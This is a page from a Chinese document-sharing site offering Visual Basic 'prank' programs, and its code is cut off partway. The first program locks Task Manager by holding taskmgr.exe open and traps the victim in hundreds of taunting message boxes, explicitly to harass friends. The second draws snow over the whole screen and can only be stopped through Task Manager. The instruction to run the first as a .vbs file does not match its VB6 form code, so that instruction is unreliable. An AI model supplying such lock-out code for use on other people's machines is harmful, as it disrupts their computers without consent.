VB代码(整人,实用。几个有趣的希望有帮助!!)
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
使用方法:新建一个txt文本文档。然后把拓展名改成“.vbs”的格式。然后右键编辑,把代码复制进去,ok
1.整死你啊
此代码锁定了任务管理器,想关闭只有重新启动电脑,恶搞你的好友,或者骚扰你Private Sub Form_Load()
Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1
For m = 1 To 999
MsgBox "呵呵,你知道我是谁吗?", 16
MsgBox "什么??不知道?", 16
MsgBox "那你打开我干什么?", 16
MsgBox "你有空没事做吧?!", 16
MsgBox "我..就是鼎鼎大名的987876198", 16
MsgBox "987876198..", 16
MsgBox "现在你把它打开了觉得后悔了吧?呵呵..", 16
MsgBox "算了算了,不玩你了", 16
MsgBox "现在我数3声就闪人,行了吧?", 16
MsgBox "1.............", 16
MsgBox "2.............", 16
MsgBox "3.............", 16
MsgBox "噔噔噔噔,我又回来了!", 16
MsgBox "哈哈,是不是很过瘾呢?", 16
MsgBox "现在我先介绍下自己..", 16
MsgBox "我叫王得地..", 16
MsgBox "性别:男..", 16
MsgBox "今年35岁..", 16
MsgBox "不好意思噢,我好像说多了..", 16
MsgBox "不要这样喇,听我说完先好不?", 16
MsgBox "来来来,开始喇..", 16
MsgBox "我叫王得地..", 16
MsgBox "家中有屋又有田..", 16
MsgBox "生活乐无边..", 16
MsgBox "好像我又说多了...", 16
MsgBox "不要生气嘛,你认真看下去我就放你走..", 16
MsgBox "好,开始喇..", 16
MsgBox "从前有座山..", 16
MsgBox "山里有个座庙..", 16
MsgBox "庙里有个和尚..", 16
MsgBox "哈哈,想哭吗?", 16
MsgBox "被骗的感觉不爽吧?", 16
MsgBox "喂喂喂!别别..千万别重启电脑", 16
MsgBox "我告诉你怎么关吧", 16
MsgBox "先打开任务管理器", 16
MsgBox "忘了告诉你了,任务管理器打不开了", 16
MsgBox "别恨我啊你不小心", 16
MsgBox "电脑重新启动吧", 16
MsgBox "相信我吧,你知道我是不会骗人的", 16
MsgBox "如果你还想继续点的话,你就别听我的", 16
MsgBox "呵呵,我又没有说这个东西没有", 16
MsgBox "我只想说桌面没有罢了..", 16
MsgBox "嘻嘻,爽不爽吖?", 16
MsgBox "对着电脑屏幕大声说低调大好人", 16
MsgBox "不然,我就没办法的咯", 16
MsgBox "因为我把循环设置成99了", 16
MsgBox "想保存电脑数据只有继续点了", 16
MsgBox "绝对会出到去的", 16
MsgBox "好了,废话不多说了,祝你好运..", 16
MsgBox "制作:低调不倒", 16
MsgBox "QQ:987876198", 16
MsgBox "E-mail:不告诉你", 16
MsgBox "好,继续循环..", 16
Next
End Sub
·······················································2.满屏小雪花
这是我以前写的小程序让整个屏幕雪花飘飘的改进,本程序是一个模拟下雪的小程序:大小不同随风飘荡的雪花从屏幕上方不断落下,飘满整个屏幕。雪花可在任何窗口上飘荡,包括任务栏、开始菜单、弹出菜单等地方。
本程序与原程序的主要改进之处是:落下的雪花不会消失,会在屏幕底部不断堆积,双击屏幕底部的积雪可使积雪消失。
本程序编译成 exe 文件运行后,只能通过系统“任务管理器”才能终止运行。程序运行效果截图如下:
'' '本程序包含两个窗体,Form1 和 Form2,其中 Form1 是启动窗体。代码在在 VB6 调试通过:
''下面是 Form1 窗体代码:===================================== '' 注意:在属性窗口将窗体的 BorderStyle 属性设置为 0,即窗体是无边框窗体
'' 在窗体上放置一个控件:Timer1,不必设置任何属性
Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndI nsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Lon g, ByVal wFlags As Long) As Long
Private Declare Function SetLayeredWindowAttributes Lib "user32" (ByVal hWnd As Long , ByVal crKey As Long, ByVal bAlpha As Byte, ByVal dwFlags As Long) As Long
Private Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal h Wnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32" Alias "SetWindowLongA" (ByVal h Wnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Dim ctSnow() As tySnow, ctSnowS As Long, ctSeChange As Long
Private Type tySnow '定义表示雪花的数据类型
X As Single: xV As Single 'x 坐标、水平移动速度
Y As Single: yV As Single 'y 坐标、垂直移动速度
Se As Long: Size As Single '雪花颜色、大小
End Type
Private Sub Form_Load()
ctSnowS = 200 '300 '雪花数量
ctSeChange = 30 '雪花颜色的变化范围
'最大化窗口。注意:不要用在属性窗口设置 WindowState 属性的方
'式,也不使用 Me.WindowState = 2 代码。否则,在用户调整任务
'栏状态的时候,会造成积雪的位置错位。
Me.WindowState = 0
Me.Move 0, 0, Screen.Width, Screen.Height
ReDim ctSnow(1 To ctSnowS)
Me.Caption = "雪花飘飘"
Me.AutoRedraw = True: Me.ScaleMode = 3
Me.BackColor = RGB(235 - ctSeChange * 2, 235 - ctSeChange * 2, 255)
Call TransWin(Me.hWnd, Me.BackColor) '将窗口背景色设置为透明的
Form2.AutoRedraw = True: Form2.ScaleMode = 3
Form2.BackColor = Me.BackColor
Form2.Move Form1.Left, Form1.Top, Form1.Width, Form1.Height
Call TransWin(Form2.hWnd, Form2.BackColor) '将窗口背景色设置为透明的
Form2.Show
Timer1.Enabled = True: Timer1.Interval = 20
End Sub
Private Sub Timer1_Timer()
Dim I As Long, V As Single, H1 As Single, IsDown As Boolean, Se As Long